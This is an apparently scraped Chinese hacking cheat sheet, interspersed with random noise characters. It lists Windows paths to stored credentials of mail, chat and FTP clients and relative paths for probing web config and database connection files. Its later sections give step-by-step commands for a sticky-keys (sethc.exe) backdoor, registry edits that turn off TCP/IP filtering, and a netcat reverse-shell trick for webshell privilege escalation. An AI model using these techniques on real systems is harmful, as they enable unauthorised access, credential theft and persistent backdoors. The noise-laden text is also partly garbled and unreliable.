c:\Program Files\Tencent\Tm\Bin\Txplatform.exe
" R9 {: A1 |- lc:\Program Files\Tencent\RTXServer\AppConfig.xml
C:\Program Files\Foxmal\Foxmail.exe
1 {- B7 ]3 B: B4 T6 D4 L8 H- cC:\Program Files\Foxmal\accounts.cfg
C:\Program Files\tencent\Foxmal\Foxmail.exe
( B3 {) O9 P6 R  g, s: Q# dC:\Program Files\tencent\Foxmal\accounts.cfg
! h! C. c; L1 @/ LC:\Program Files\LeapFTP 3.0\LeapFTP.exe
! B* H; h# D# B7 s# uC:\Program Files\LeapFTP\LeapFTP.exe
( M; |, I9 t+ Z+ f4 Hc:\Program Files\GlobalSCAPE\CuteFTP Pro\cftppro.exe
5 G" f% o. v/ K4 c/ \c:\Program Files\GlobalSCAPE\CuteFTP Pro\notes.txt
C:\Program Files\FlashFXP\FlashFXP.ini
& e% p: ]6 L5 a! x+ U6 bC:\Program Files\FlashFXP\flashfxp.exe
) J' d. I3 a' L# c! `c:\Program Files\Oracle\bin\regsvr32.exe
: L7 P5 V( D- \) a6 m  E: zc:\Program Files\腾讯游戏\QQGAME\readme.txt
! y) N5 X9 F% I+ \% [c:\Program Files\tencent\腾讯游戏\QQGAME\readme.txt
0 G: F! `) u0 P' kc:\Program Files\tencent\QQGAME\readme.txt
3 V3 Q2 i( P7 [7 o4 M5 p) ?) @4 mC:\Program Files\StormII\Storm.exe

3.网站相对路径:

/config.php
$ ?; e  s  z5 z6 ?( c% j../../config.php
9 Z8 t, j) a% ]7 d9 b& c* V../config.php
2 }9 w% |1 P  [" Z  p5 V../../../config.php
/config.inc.php
8 E/ t  o* l3 s# z./config.inc.php
8 O$ n4 ]/ R+ ~" Y9 n../../config.inc.php
! U* c; A$ ~/ q/ r' @* S../config.inc.php
../../../config.inc.php
/conn.php
/ m8 j8 u4 y9 R5 c3 A" ?2 w./conn.php
* @2 N5 A, s7 n../../conn.php
" Y- F- B3 X$ c# t../conn.php
& y( }# z: y* _+ I/ I: D! G* P../../../conn.php
2 T- `+ c4 _, k/conn.asp
6 P( y" w1 x. c: ^6 @7 J./conn.asp
../../conn.asp
../conn.asp
' L0 J" O4 F! b. Z* h../../../conn.asp
/config.inc.php
- J! k3 X8 F. x. u: y./config.inc.php
3 H& F& p1 r) u( A../../config.inc.php
3 _8 K3 D0 D3 i% o+ U( b4 ^../config.inc.php
5 ~# F/ ?/ X6 Z4 D../../../config.inc.php
/config/config.php
: O6 H/ @. y- O: ?7 F' x../../config/config.php
, i3 `0 X( H# R7 F7 f4 p../config/config.php
../../../config/config.php
/config/config.inc.php
./config/config.inc.php
; n  p! t- M1 E' K! M# v- o../../config/config.inc.php
! r# A1 w( m. X! F( y/ h../config/config.inc.php
5 D7 ^* H1 w( B6 I4 q../../../config/config.inc.php
/config/conn.php
5 h" F4 X# z6 z/ r: w, }  D* w( Y! h./config/conn.php
../../config/conn.php
../config/conn.php
../../../config/conn.php
/config/conn.asp
. Z& y3 h: J  F" g/ M4 P( a./config/conn.asp
" t! B- C6 H4 [../../config/conn.asp
* u% G# t4 j' _  ~$ w../config/conn.asp
../../../config/conn.asp
4 k/ c: a4 ?8 F$ s& s- k: ?4 J/config/config.inc.php
./config/config.inc.php
# b; W9 H; Y0 F- @../../config/config.inc.php
$ J0 j. t( a2 b( ^8 L/ B../config/config.inc.php
../../../config/config.inc.php
/data/config.php
../../data/config.php
../data/config.php
% V" f6 `6 ?# J0 R) v$ R- Y../../../data/config.php
9 [* H6 s1 _* }* u. m: t6 f9 [" z/data/config.inc.php
& {! k. H; X' i" [3 n$ W) _./data/config.inc.php
/ |, C! \& Y& f: w; F  v../../data/config.inc.php
../data/config.inc.php
  L# ?: y! _4 u$ c( R2 F& ~) y% S../../../data/config.inc.php
/data/conn.php
./data/conn.php
../../data/conn.php
../data/conn.php
../../../data/conn.php
/data/conn.asp
( a% x$ v/ v* t+ L% c8 b# R3 C7 x, p./data/conn.asp
# I9 f! U% m# i6 J- _) ], t../../data/conn.asp
../data/conn.asp
/ L4 t7 G7 D, }0 C" h; }../../../data/conn.asp
  X& k* `2 w; q! Q! e& K1 X) l  s/data/config.inc.php
* T) g. k8 _$ n./data/config.inc.php
../../data/config.inc.php
0 B4 \+ n2 ^) A8 [../data/config.inc.php
../../../data/config.inc.php
/include/config.php
/ s, V, Z$ b$ g0 ?../../include/config.php
0 V* B1 a; Q1 T8 M( u" l../include/config.php
../../../include/config.php
/include/config.inc.php
./include/config.inc.php
, `& M) N2 o' b! s$ B* r# R) p../../include/config.inc.php
. ?8 ~/ `$ W8 t4 F- K../include/config.inc.php
../../../include/config.inc.php
$ k/ F- m% ^8 H( V/include/conn.php
# {( T) Y7 [, ^# {; [4 y./include/conn.php
5 s. w' Q3 c4 @* Z. Q../../include/conn.php
../include/conn.php
) ~5 Z- y* |$ M1 k& I! l../../../include/conn.php
/include/conn.asp
; u' ]3 C. S0 a3 d$ Y, [$ O./include/conn.asp
../../include/conn.asp
../include/conn.asp
' D% M: g+ f! w4 ^5 ~! X../../../include/conn.asp
/include/config.inc.php
% p- v* ~" ?' W7 L7 `./include/config.inc.php
../../include/config.inc.php
: b1 W& U: K" C4 S9 N/ p& g8 T../include/config.inc.php
../../../include/config.inc.php
0 Z* n3 e' N# c3 z: K8 O8 V/inc/config.php
- O; ?6 n; ~4 `: K7 X../../inc/config.php
../inc/config.php
" X- h* W& O3 h+ J" F# R9 e# l../../../inc/config.php
/inc/config.inc.php
./inc/config.inc.php
../../inc/config.inc.php
../inc/config.inc.php
../../../inc/config.inc.php
/inc/conn.php
./inc/conn.php
../../inc/conn.php
2 H/ t3 e3 u8 D* c8 D; X( ^../inc/conn.php
../../../inc/conn.php
/ ^* e- G/ H$ f. N9 |9 {/inc/conn.asp
./inc/conn.asp
../../inc/conn.asp
9 M- Z' b9 P+ g1 b" G3 ~../inc/conn.asp
../../../inc/conn.asp
/ J. S; {2 p" S( _! G% ^/inc/config.inc.php
./inc/config.inc.php
5 a$ z, L) T! e../../inc/config.inc.php
../inc/config.inc.php
../../../inc/config.inc.php
/index.php
& ]' r) M; p! \7 ^  |% S./index.php
../../index.php
../index.php
../../../index.php
% q+ n! w! v; T8 q- V* N/ p9 Z/index.asp
: e. A/ V% H. z: L7 k: C./index.asp
../../index.asp
../index.asp
../../../index.asp
替换SHIFT后门
　attrib c:\windows\system32\sethc.exe -h -r -s
2 M' C9 x9 Q- E
% b0 s& _3 ?9 B! Q+ s% O: L! Q　　attrib c:\windows\system32\dllcache\sethc.exe -h -r -s
& T6 y% v7 W' y/ V, n. i& e1 Z2 n* [
　　del c:\windows\system32\sethc.exe
2 a3 R" q( W, t) d. p* m$ ]  B
7 e4 g) _% B. O8 y　　copy c:\windows\explorer.exe c:\windows\system32\sethc.exe
+ X( Y1 B9 D8 [2 M* L! t8 v
　　copy c:\windows\system32\sethc.exe c:\windows\system32\dllcache\sethc.exe
. r9 ~0 U7 T* }8 x* ~7 ~4 u: f
　　attrib c:\windows\system32\sethc.exe +h +r +s
3 Y7 R, [0 }0 G' v* }
　　attrib c:\windows\system32\dllcache\sethc.exe +h +r +s
: t7 N) T- }2 \去除TCPIP筛选
TCP/IP筛选在注册表里有三处，分别是：
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\Tcpip
0 x1 J  ~4 b" L$ x# B4 hHKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\Tcpip
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip
5 _! R8 M. X5 w/ b: e  L% x( N: t/ Z
分别用
* P0 i% a& i* O. u  z  `regedit -e D:\a.reg HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip
regedit -e D:\b.reg HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\Tcpip
) n4 y4 p! a7 E7 Z  c7 gregedit -e D:\c.reg HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip
" a& k: `  N" l: {命令来导出注册表项

5 D5 X  f* Q! N1 A" Q1 X: K9 ]' V然后把 三个文件里的EnableSecurityFilters"=dword:00000001，改成EnableSecurityFilters"=dword:00000000

; N. G1 a, E- A2 @再将以上三个文件分别用
regedit -s D:\a.reg
' ^' d% d. l: P+ t- Y" oregedit -s D:\b.reg
: p+ @5 h1 {* |/ G; uregedit -s D:\c.reg
; }7 }- C9 M6 R/ {8 f" [导入注册表即可
5 H- }2 C. d  S% ]: v6 A8 c
# {/ u  P  v- D  }* X. Rwebshell提权小技巧
cmd路径:
c:\windows\temp\cmd.exe
nc也在同目录下
6 b* W1 Y# @/ K" t" _! ~$ u% N; ~( |例如反弹cmdshell：
"c:\windows\temp\nc.exe -vv ip 999 -e c:\windows\temp\cmd.exe"
* ^6 O" M9 [# n3 }通常都不会成功。
; m) l) h9 E/ q6 b5 x" v; @
而直接在 cmd路径上 输入 c:\windows\temp\nc.exe
) O3 @# f/ H# F" n! [( O, T命令输入   -vv ip 999 -e c:\windows\temp\cmd.exe
9 M" C" d1 j# s却能成功。。
- _* Z9 G! B1 V4 h+ T这个不是重点
9 y% I6 g- c% ]" P我们通常 执行 pr.exe 或 Churrasco.exe 时 有时候也需要 按照上面的 方法才能成功